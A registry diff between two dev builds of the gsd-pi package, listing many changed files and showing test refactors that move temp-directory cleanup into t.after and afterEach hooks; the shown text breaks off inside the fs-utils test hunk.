gsd-pi 2.44.0-dev.62b5d6c → 2.44.0-dev.848dd4c
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +30 -12
- package/dist/resources/extensions/gsd/auto-start.js +10 -0
- package/dist/resources/extensions/gsd/commands/handlers/workflow.js +5 -0
- package/dist/web/standalone/.next/BUILD_ID +1 -1
- package/dist/web/standalone/.next/app-path-routes-manifest.json +18 -18
- package/dist/web/standalone/.next/build-manifest.json +2 -2
- package/dist/web/standalone/.next/prerender-manifest.json +3 -3
- package/dist/web/standalone/.next/server/app/_global-error.html +2 -2
- package/dist/web/standalone/.next/server/app/_global-error.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error/__PAGE__.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_global-error.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_head.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_index.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.html +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_head.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_index.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_not-found.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.html +1 -1
- package/dist/web/standalone/.next/server/app/index.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.segments/_full.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.segments/_head.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.segments/_index.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app/index.segments/_tree.segment.rsc +1 -1
- package/dist/web/standalone/.next/server/app-paths-manifest.json +18 -18
- package/dist/web/standalone/.next/server/pages/404.html +1 -1
- package/dist/web/standalone/.next/server/pages/500.html +2 -2
- package/dist/web/standalone/.next/server/server-reference-manifest.json +1 -1
- package/package.json +1 -1
- package/packages/pi-coding-agent/dist/core/auth-storage.test.js +6 -8
- package/packages/pi-coding-agent/dist/core/auth-storage.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/core/extensions/runner.test.js +24 -26
- package/packages/pi-coding-agent/dist/core/extensions/runner.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/core/fs-utils.test.js +29 -48
- package/packages/pi-coding-agent/dist/core/fs-utils.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js +34 -44
- package/packages/pi-coding-agent/dist/core/resolve-config-value.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/core/session-manager.test.js +30 -34
- package/packages/pi-coding-agent/dist/core/session-manager.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js +10 -12
- package/packages/pi-coding-agent/dist/core/tools/edit-diff.test.js.map +1 -1
- package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js +43 -47
- package/packages/pi-coding-agent/dist/resources/extensions/memory/storage.test.js.map +1 -1
- package/packages/pi-coding-agent/src/core/auth-storage.test.ts +7 -7
- package/packages/pi-coding-agent/src/core/extensions/runner.test.ts +26 -26
- package/packages/pi-coding-agent/src/core/fs-utils.test.ts +31 -43
- package/packages/pi-coding-agent/src/core/resolve-config-value.test.ts +40 -45
- package/packages/pi-coding-agent/src/core/session-manager.test.ts +33 -33
- package/packages/pi-coding-agent/src/core/tools/edit-diff.test.ts +17 -17
- package/packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts +74 -74
- package/src/resources/extensions/gsd/auto-start.ts +14 -0
- package/src/resources/extensions/gsd/commands/handlers/workflow.ts +8 -0
- package/src/resources/extensions/gsd/tests/all-milestones-complete-merge.test.ts +99 -99
- package/src/resources/extensions/gsd/tests/auto-lock-creation.test.ts +14 -16
- package/src/resources/extensions/gsd/tests/auto-paused-session-validation.test.ts +43 -57
- package/src/resources/extensions/gsd/tests/auto-preflight.test.ts +11 -13
- package/src/resources/extensions/gsd/tests/auto-recovery.test.ts +465 -523
- package/src/resources/extensions/gsd/tests/auto-secrets-gate.test.ts +73 -75
- package/src/resources/extensions/gsd/tests/auto-start-needs-discussion.test.ts +34 -56
- package/src/resources/extensions/gsd/tests/auto-worktree-milestone-merge.test.ts +533 -656
- package/src/resources/extensions/gsd/tests/auto-worktree.test.ts +165 -143
- package/src/resources/extensions/gsd/tests/cache-staleness-regression.test.ts +29 -52
- package/src/resources/extensions/gsd/tests/captures.test.ts +148 -176
- package/src/resources/extensions/gsd/tests/claude-import-tui.test.ts +32 -33
- package/src/resources/extensions/gsd/tests/collect-from-manifest.test.ts +141 -143
- package/src/resources/extensions/gsd/tests/commands-inspect-open-db.test.ts +25 -25
- package/src/resources/extensions/gsd/tests/commands-logs.test.ts +81 -81
- package/src/resources/extensions/gsd/tests/complete-milestone.test.ts +38 -59
- package/src/resources/extensions/gsd/tests/complete-slice.test.ts +228 -263
- package/src/resources/extensions/gsd/tests/complete-task.test.ts +250 -302
- package/src/resources/extensions/gsd/tests/context-store.test.ts +354 -367
- package/src/resources/extensions/gsd/tests/continue-here.test.ts +68 -72
- package/src/resources/extensions/gsd/tests/cost-projection.test.ts +92 -106
- package/src/resources/extensions/gsd/tests/crash-recovery.test.ts +27 -35
- package/src/resources/extensions/gsd/tests/dashboard-budget.test.ts +220 -237
- package/src/resources/extensions/gsd/tests/db-writer.test.ts +390 -420
- package/src/resources/extensions/gsd/tests/definition-loader.test.ts +76 -92
- package/src/resources/extensions/gsd/tests/derive-state-crossval.test.ts +68 -83
- package/src/resources/extensions/gsd/tests/derive-state-db.test.ts +152 -183
- package/src/resources/extensions/gsd/tests/derive-state-deps.test.ts +78 -101
- package/src/resources/extensions/gsd/tests/derive-state.test.ts +192 -227
- package/src/resources/extensions/gsd/tests/detection.test.ts +232 -278
- package/src/resources/extensions/gsd/tests/dev-engine-wrapper.test.ts +30 -34
- package/src/resources/extensions/gsd/tests/dispatch-guard.test.ts +164 -180
- package/src/resources/extensions/gsd/tests/dispatch-missing-task-plans.test.ts +43 -49
- package/src/resources/extensions/gsd/tests/dispatch-uat-last-completed.test.ts +28 -32
- package/src/resources/extensions/gsd/tests/doctor-completion-deferral.test.ts +27 -29
- package/src/resources/extensions/gsd/tests/doctor-delimiter-fix.test.ts +34 -38
- package/src/resources/extensions/gsd/tests/doctor-enhancements.test.ts +54 -75
- package/src/resources/extensions/gsd/tests/doctor-environment-worktree.test.ts +21 -32
- package/src/resources/extensions/gsd/tests/doctor-environment.test.ts +72 -97
- package/src/resources/extensions/gsd/tests/doctor-fixlevel.test.ts +38 -44
- package/src/resources/extensions/gsd/tests/doctor-git.test.ts +104 -145
- package/src/resources/extensions/gsd/tests/doctor-proactive.test.ts +84 -106
- package/src/resources/extensions/gsd/tests/doctor-roadmap-summary-atomicity.test.ts +54 -60
- package/src/resources/extensions/gsd/tests/doctor-runtime.test.ts +72 -93
- package/src/resources/extensions/gsd/tests/doctor.test.ts +104 -134
- package/src/resources/extensions/gsd/tests/ensure-db-open.test.ts +123 -131
- package/src/resources/extensions/gsd/tests/exit-command.test.ts +20 -24
- package/src/resources/extensions/gsd/tests/feature-branch-lifecycle-integration.test.ts +48 -57
- package/src/resources/extensions/gsd/tests/files-loadfile-eisdir.test.ts +5 -7
- package/src/resources/extensions/gsd/tests/flag-file-db.test.ts +30 -42
- package/src/resources/extensions/gsd/tests/freeform-decisions.test.ts +198 -206
- package/src/resources/extensions/gsd/tests/git-locale.test.ts +13 -27
- package/src/resources/extensions/gsd/tests/git-service.test.ts +285 -388
- package/src/resources/extensions/gsd/tests/gitignore-tracked-gsd.test.ts +31 -39
- package/src/resources/extensions/gsd/tests/graph-operations.test.ts +63 -69
- package/src/resources/extensions/gsd/tests/gsd-db.test.ts +255 -264
- package/src/resources/extensions/gsd/tests/gsd-inspect.test.ts +108 -119
- package/src/resources/extensions/gsd/tests/gsd-recover.test.ts +81 -103
- package/src/resources/extensions/gsd/tests/gsd-tools.test.ts +229 -262
- package/src/resources/extensions/gsd/tests/headless-answers.test.ts +13 -13
- package/src/resources/extensions/gsd/tests/health-widget.test.ts +29 -37
- package/src/resources/extensions/gsd/tests/idle-recovery.test.ts +81 -102
- package/src/resources/extensions/gsd/tests/init-wizard.test.ts +16 -18
- package/src/resources/extensions/gsd/tests/integration-edge.test.ts +41 -46
- package/src/resources/extensions/gsd/tests/integration-lifecycle.test.ts +42 -53
- package/src/resources/extensions/gsd/tests/integration-mixed-milestones.test.ts +75 -91
- package/src/resources/extensions/gsd/tests/integration-proof.test.ts +18 -18
- package/src/resources/extensions/gsd/tests/markdown-renderer.test.ts +150 -194
- package/src/resources/extensions/gsd/tests/md-importer.test.ts +101 -125
- package/src/resources/extensions/gsd/tests/memory-extractor.test.ts +45 -54
- package/src/resources/extensions/gsd/tests/memory-store.test.ts +80 -93
- package/src/resources/extensions/gsd/tests/migrate-command.test.ts +57 -66
- package/src/resources/extensions/gsd/tests/migrate-hierarchy.test.ts +83 -93
- package/src/resources/extensions/gsd/tests/migrate-parser.test.ts +161 -170
- package/src/resources/extensions/gsd/tests/migrate-transformer.test.ts +125 -141
- package/src/resources/extensions/gsd/tests/migrate-validator-parsers.test.ts +107 -131
- package/src/resources/extensions/gsd/tests/migrate-writer-integration.test.ts +87 -96
- package/src/resources/extensions/gsd/tests/migrate-writer.test.ts +125 -164
- package/src/resources/extensions/gsd/tests/must-have-parser.test.ts +81 -94
- package/src/resources/extensions/gsd/tests/none-mode-gates.test.ts +35 -36
- package/src/resources/extensions/gsd/tests/overrides.test.ts +99 -106
- package/src/resources/extensions/gsd/tests/parallel-crash-recovery.test.ts +40 -47
- package/src/resources/extensions/gsd/tests/parallel-worker-monitoring.test.ts +25 -28
- package/src/resources/extensions/gsd/tests/parallel-workers-multi-milestone-e2e.test.ts +66 -83
- package/src/resources/extensions/gsd/tests/park-edge-cases.test.ts +54 -77
- package/src/resources/extensions/gsd/tests/park-milestone.test.ts +68 -115
- package/src/resources/extensions/gsd/tests/parsers.test.ts +546 -611
- package/src/resources/extensions/gsd/tests/paths.test.ts +72 -87
- package/src/resources/extensions/gsd/tests/post-unit-hooks.test.ts +77 -117
- package/src/resources/extensions/gsd/tests/prompt-db.test.ts +56 -56
- package/src/resources/extensions/gsd/tests/queue-draft-detection.test.ts +93 -119
- package/src/resources/extensions/gsd/tests/queue-order.test.ts +70 -82
- package/src/resources/extensions/gsd/tests/queue-reorder-e2e.test.ts +42 -55
- package/src/resources/extensions/gsd/tests/quick-auto-guard.test.ts +100 -0
- package/src/resources/extensions/gsd/tests/quick-branch-lifecycle.test.ts +45 -73
- package/src/resources/extensions/gsd/tests/reassess-prompt.test.ts +28 -38
- package/src/resources/extensions/gsd/tests/replan-slice.test.ts +73 -80
- package/src/resources/extensions/gsd/tests/repo-identity-worktree.test.ts +71 -74
- package/src/resources/extensions/gsd/tests/requirements.test.ts +70 -75
- package/src/resources/extensions/gsd/tests/retry-state-reset.test.ts +44 -66
- package/src/resources/extensions/gsd/tests/roadmap-parse-regression.test.ts +114 -181
- package/src/resources/extensions/gsd/tests/rule-registry.test.ts +63 -65
- package/src/resources/extensions/gsd/tests/run-uat.test.ts +66 -128
- package/src/resources/extensions/gsd/tests/session-lock-multipath.test.ts +18 -25
- package/src/resources/extensions/gsd/tests/session-lock-regression.test.ts +37 -44
- package/src/resources/extensions/gsd/tests/shared-wal.test.ts +19 -26
- package/src/resources/extensions/gsd/tests/sqlite-unavailable-gate.test.ts +63 -0
- package/src/resources/extensions/gsd/tests/stalled-tool-recovery.test.ts +6 -8
- package/src/resources/extensions/gsd/tests/symlink-numbered-variants.test.ts +22 -28
- package/src/resources/extensions/gsd/tests/token-savings.test.ts +54 -56
- package/src/resources/extensions/gsd/tests/tool-call-loop-guard.test.ts +23 -25
- package/src/resources/extensions/gsd/tests/tool-naming.test.ts +9 -11
- package/src/resources/extensions/gsd/tests/unique-milestone-ids.test.ts +66 -82
- package/src/resources/extensions/gsd/tests/unit-runtime.test.ts +46 -47
- package/src/resources/extensions/gsd/tests/visualizer-critical-path.test.ts +20 -22
- package/src/resources/extensions/gsd/tests/visualizer-data.test.ts +84 -86
- package/src/resources/extensions/gsd/tests/visualizer-overlay.test.ts +41 -43
- package/src/resources/extensions/gsd/tests/visualizer-views.test.ts +94 -96
- package/src/resources/extensions/gsd/tests/windows-path-normalization.test.ts +11 -13
- package/src/resources/extensions/gsd/tests/worker-registry.test.ts +27 -29
- package/src/resources/extensions/gsd/tests/workflow-templates.test.ts +50 -52
- package/src/resources/extensions/gsd/tests/worktree-bugfix.test.ts +10 -13
- package/src/resources/extensions/gsd/tests/worktree-db-integration.test.ts +14 -18
- package/src/resources/extensions/gsd/tests/worktree-db.test.ts +38 -39
- package/src/resources/extensions/gsd/tests/worktree-e2e.test.ts +17 -21
- package/src/resources/extensions/gsd/tests/worktree-health.test.ts +25 -30
- package/src/resources/extensions/gsd/tests/worktree-integration.test.ts +30 -37
- package/src/resources/extensions/gsd/tests/worktree-symlink-removal.test.ts +15 -22
- package/src/resources/extensions/gsd/tests/worktree-sync-milestones.test.ts +59 -66
- package/src/resources/extensions/gsd/tests/worktree.test.ts +44 -50
- /package/dist/web/standalone/.next/static/{fOnWQBjWXMKUs4bqTg530 → -zps1Q9mQmioAKLcQiCr8}/_buildManifest.js +0 -0
- /package/dist/web/standalone/.next/static/{fOnWQBjWXMKUs4bqTg530 → -zps1Q9mQmioAKLcQiCr8}/_ssgManifest.js +0 -0
|
@@ -44,34 +44,32 @@ function makeThrowingExtension(eventType, error) {
|
|
|
44
44
|
};
|
|
45
45
|
}
|
|
46
46
|
describe("ExtensionRunner.emitToolCall", () => {
|
|
47
|
-
it("catches throwing extension handler and routes to emitError", async () => {
|
|
47
|
+
it("catches throwing extension handler and routes to emitError", async (t) => {
|
|
48
48
|
const dir = mkdtempSync(join(tmpdir(), "runner-test-"));
|
|
49
|
-
|
|
50
|
-
const sessionManager = SessionManager.create(dir, dir);
|
|
51
|
-
const authStorage = AuthStorage.create();
|
|
52
|
-
const modelRegistry = new ModelRegistry(authStorage, join(dir, "models.json"));
|
|
53
|
-
const throwingExt = makeThrowingExtension("tool_call", new Error("handler crashed"));
|
|
54
|
-
const runtime = makeMinimalRuntime();
|
|
55
|
-
const runner = new ExtensionRunner([throwingExt], runtime, dir, sessionManager, modelRegistry);
|
|
56
|
-
const errors = [];
|
|
57
|
-
runner.onError((err) => errors.push(err));
|
|
58
|
-
const event = {
|
|
59
|
-
type: "tool_call",
|
|
60
|
-
toolCallId: "test-123",
|
|
61
|
-
toolName: "test_tool",
|
|
62
|
-
input: {},
|
|
63
|
-
};
|
|
64
|
-
const result = await runner.emitToolCall(event);
|
|
65
|
-
// Should not throw — error is caught and routed to emitError
|
|
66
|
-
assert.equal(result, undefined);
|
|
67
|
-
assert.equal(errors.length, 1);
|
|
68
|
-
assert.equal(errors[0].error, "handler crashed");
|
|
69
|
-
assert.equal(errors[0].event, "tool_call");
|
|
70
|
-
assert.equal(errors[0].extensionPath, "/test/throwing-ext");
|
|
71
|
-
}
|
|
72
|
-
finally {
|
|
49
|
+
t.after(() => {
|
|
73
50
|
rmSync(dir, { recursive: true, force: true });
|
|
74
|
-
}
|
|
51
|
+
});
|
|
52
|
+
const sessionManager = SessionManager.create(dir, dir);
|
|
53
|
+
const authStorage = AuthStorage.create();
|
|
54
|
+
const modelRegistry = new ModelRegistry(authStorage, join(dir, "models.json"));
|
|
55
|
+
const throwingExt = makeThrowingExtension("tool_call", new Error("handler crashed"));
|
|
56
|
+
const runtime = makeMinimalRuntime();
|
|
57
|
+
const runner = new ExtensionRunner([throwingExt], runtime, dir, sessionManager, modelRegistry);
|
|
58
|
+
const errors = [];
|
|
59
|
+
runner.onError((err) => errors.push(err));
|
|
60
|
+
const event = {
|
|
61
|
+
type: "tool_call",
|
|
62
|
+
toolCallId: "test-123",
|
|
63
|
+
toolName: "test_tool",
|
|
64
|
+
input: {},
|
|
65
|
+
};
|
|
66
|
+
const result = await runner.emitToolCall(event);
|
|
67
|
+
// Should not throw — error is caught and routed to emitError
|
|
68
|
+
assert.equal(result, undefined);
|
|
69
|
+
assert.equal(errors.length, 1);
|
|
70
|
+
assert.equal(errors[0].error, "handler crashed");
|
|
71
|
+
assert.equal(errors[0].event, "tool_call");
|
|
72
|
+
assert.equal(errors[0].extensionPath, "/test/throwing-ext");
|
|
75
73
|
});
|
|
76
74
|
});
|
|
77
75
|
//# sourceMappingURL=runner.test.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"runner.test.js","sourceRoot":"","sources":["../../../src/core/extensions/runner.test.ts"],"names":[],"mappings":"AAAA,OAAO,MAAM,MAAM,oBAAoB,CAAC;AACxC,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAQ,MAAM,WAAW,CAAC;AAC/C,OAAO,EAAE,eAAe,EAAE,MAAM,aAAa,CAAC;AAE9C,OAAO,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AACvD,OAAO,EAAE,aAAa,EAAE,MAAM,sBAAsB,CAAC;AACrD,OAAO,EAAE,WAAW,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AAC9C,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AACjC,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAC;AAEjD,SAAS,kBAAkB;IAC1B,OAAO;QACN,WAAW,EAAE,KAAK,IAAI,EAAE,GAAE,CAAC;QAC3B,eAAe,EAAE,KAAK,IAAI,EAAE,GAAE,CAAC;QAC/B,WAAW,EAAE,GAAG,EAAE,GAAE,CAAC;QACrB,cAAc,EAAE,GAAG,EAAE,GAAE,CAAC;QACxB,cAAc,EAAE,GAAG,EAAE,CAAC,SAAS;QAC/B,QAAQ,EAAE,GAAG,EAAE,GAAE,CAAC;QAClB,cAAc,EAAE,GAAG,EAAE,CAAC,EAAE;QACxB,WAAW,EAAE,GAAG,EAAE,CAAC,EAAE;QACrB,cAAc,EAAE,GAAG,EAAE,GAAE,CAAC;QACxB,YAAY,EAAE,GAAG,EAAE,GAAE,CAAC;QACtB,WAAW,EAAE,GAAG,EAAE,CAAC,EAAE;QACrB,QAAQ,EAAE,KAAK,IAAI,EAAE,GAAE,CAAC;QACxB,gBAAgB,EAAE,GAAG,EAAE,CAAC,SAAS;QACjC,gBAAgB,EAAE,GAAG,EAAE,GAAE,CAAC;QAC1B,gBAAgB,EAAE,GAAG,EAAE,GAAE,CAAC;QAC1B,kBAAkB,EAAE,GAAG,EAAE,GAAE,CAAC;QAC5B,4BAA4B,EAAE,EAAE;KACD,CAAC;AAClC,CAAC;AAED,SAAS,qBAAqB,CAAC,SAAiB,EAAE,KAAY;IAC7D,MAAM,QAAQ,GAAG,IAAI,GAAG,EAAE,CAAC;IAC3B,QAAQ,CAAC,GAAG,CAAC,SAAS,EAAE;QACvB,KAAK,IAAI,EAAE;YACV,MAAM,KAAK,CAAC;QACb,CAAC;KACD,CAAC,CAAC;IACH,OAAO;QACN,IAAI,EAAE,oBAAoB;QAC1B,QAAQ;QACR,QAAQ,EAAE,EAAE;QACZ,SAAS,EAAE,EAAE;QACb,WAAW,EAAE,EAAE;KACS,CAAC;AAC3B,CAAC;AAED,QAAQ,CAAC,8BAA8B,EAAE,GAAG,EAAE;IAC7C,EAAE,CAAC,4DAA4D,EAAE,KAAK,
|
|
1
|
+
{"version":3,"file":"runner.test.js","sourceRoot":"","sources":["../../../src/core/extensions/runner.test.ts"],"names":[],"mappings":"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","sourcesContent":["import assert from \"node:assert/strict\";\nimport { describe, it, mock } from \"node:test\";\nimport { ExtensionRunner } from \"./runner.js\";\nimport type { Extension, ExtensionRuntime, ToolCallEvent } from \"./index.js\";\nimport { SessionManager } from \"../session-manager.js\";\nimport { ModelRegistry } from \"../model-registry.js\";\nimport { mkdtempSync, rmSync } from \"node:fs\";\nimport { join } from \"node:path\";\nimport { tmpdir } from \"node:os\";\nimport { AuthStorage } from \"../auth-storage.js\";\n\nfunction makeMinimalRuntime(): ExtensionRuntime {\n\treturn {\n\t\tsendMessage: async () => {},\n\t\tsendUserMessage: async () => {},\n\t\tappendEntry: () => {},\n\t\tsetSessionName: () => {},\n\t\tgetSessionName: () => undefined,\n\t\tsetLabel: () => {},\n\t\tgetActiveTools: () => [],\n\t\tgetAllTools: () => [],\n\t\tsetActiveTools: () => {},\n\t\trefreshTools: () => {},\n\t\tgetCommands: () => [],\n\t\tsetModel: async () => {},\n\t\tgetThinkingLevel: () => undefined,\n\t\tsetThinkingLevel: () => {},\n\t\tregisterProvider: () => {},\n\t\tunregisterProvider: () => {},\n\t\tpendingProviderRegistrations: [],\n\t} as unknown as ExtensionRuntime;\n}\n\nfunction makeThrowingExtension(eventType: string, error: Error): Extension {\n\tconst handlers = new Map();\n\thandlers.set(eventType, [\n\t\tasync () => {\n\t\t\tthrow error;\n\t\t},\n\t]);\n\treturn {\n\t\tpath: \"/test/throwing-ext\",\n\t\thandlers,\n\t\tcommands: [],\n\t\tshortcuts: [],\n\t\tdiagnostics: [],\n\t} as unknown as Extension;\n}\n\ndescribe(\"ExtensionRunner.emitToolCall\", () => {\n\tit(\"catches throwing extension handler and routes to emitError\", async (t) => {\n\t\tconst dir = mkdtempSync(join(tmpdir(), \"runner-test-\"));\n\t\tt.after(() => {\n\t\t\trmSync(dir, { recursive: true, force: true });\n\t\t});\n\n\t\tconst sessionManager = SessionManager.create(dir, dir);\n\t\tconst authStorage = AuthStorage.create();\n\t\tconst modelRegistry = new ModelRegistry(authStorage, join(dir, \"models.json\"));\n\n\t\tconst throwingExt = makeThrowingExtension(\"tool_call\", new Error(\"handler crashed\"));\n\t\tconst runtime = makeMinimalRuntime();\n\t\tconst runner = new ExtensionRunner([throwingExt], runtime, dir, sessionManager, modelRegistry);\n\n\t\tconst errors: any[] = [];\n\t\trunner.onError((err) => errors.push(err));\n\n\t\tconst event: ToolCallEvent = {\n\t\t\ttype: \"tool_call\",\n\t\t\ttoolCallId: \"test-123\",\n\t\t\ttoolName: \"test_tool\",\n\t\t\tinput: {},\n\t\t} as ToolCallEvent;\n\n\t\tconst result = await runner.emitToolCall(event);\n\n\t\t// Should not throw — error is caught and routed to emitError\n\t\tassert.equal(result, undefined);\n\t\tassert.equal(errors.length, 1);\n\t\tassert.equal(errors[0].error, \"handler crashed\");\n\t\tassert.equal(errors[0].event, \"tool_call\");\n\t\tassert.equal(errors[0].extensionPath, \"/test/throwing-ext\");\n\t});\n});\n"]}
|
|
@@ -1,67 +1,48 @@
|
|
|
1
1
|
import assert from "node:assert/strict";
|
|
2
|
-
import { describe, it } from "node:test";
|
|
2
|
+
import { describe, it, afterEach } from "node:test";
|
|
3
3
|
import { mkdtempSync, readFileSync, rmSync, existsSync } from "node:fs";
|
|
4
4
|
import { join } from "node:path";
|
|
5
5
|
import { tmpdir } from "node:os";
|
|
6
6
|
import { atomicWriteFileSync } from "./fs-utils.js";
|
|
7
7
|
describe("atomicWriteFileSync", () => {
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
const filePath = join(dir, "test.txt");
|
|
12
|
-
atomicWriteFileSync(filePath, "hello world");
|
|
13
|
-
assert.equal(readFileSync(filePath, "utf-8"), "hello world");
|
|
14
|
-
}
|
|
15
|
-
finally {
|
|
8
|
+
let dir;
|
|
9
|
+
afterEach(() => {
|
|
10
|
+
if (dir) {
|
|
16
11
|
rmSync(dir, { recursive: true, force: true });
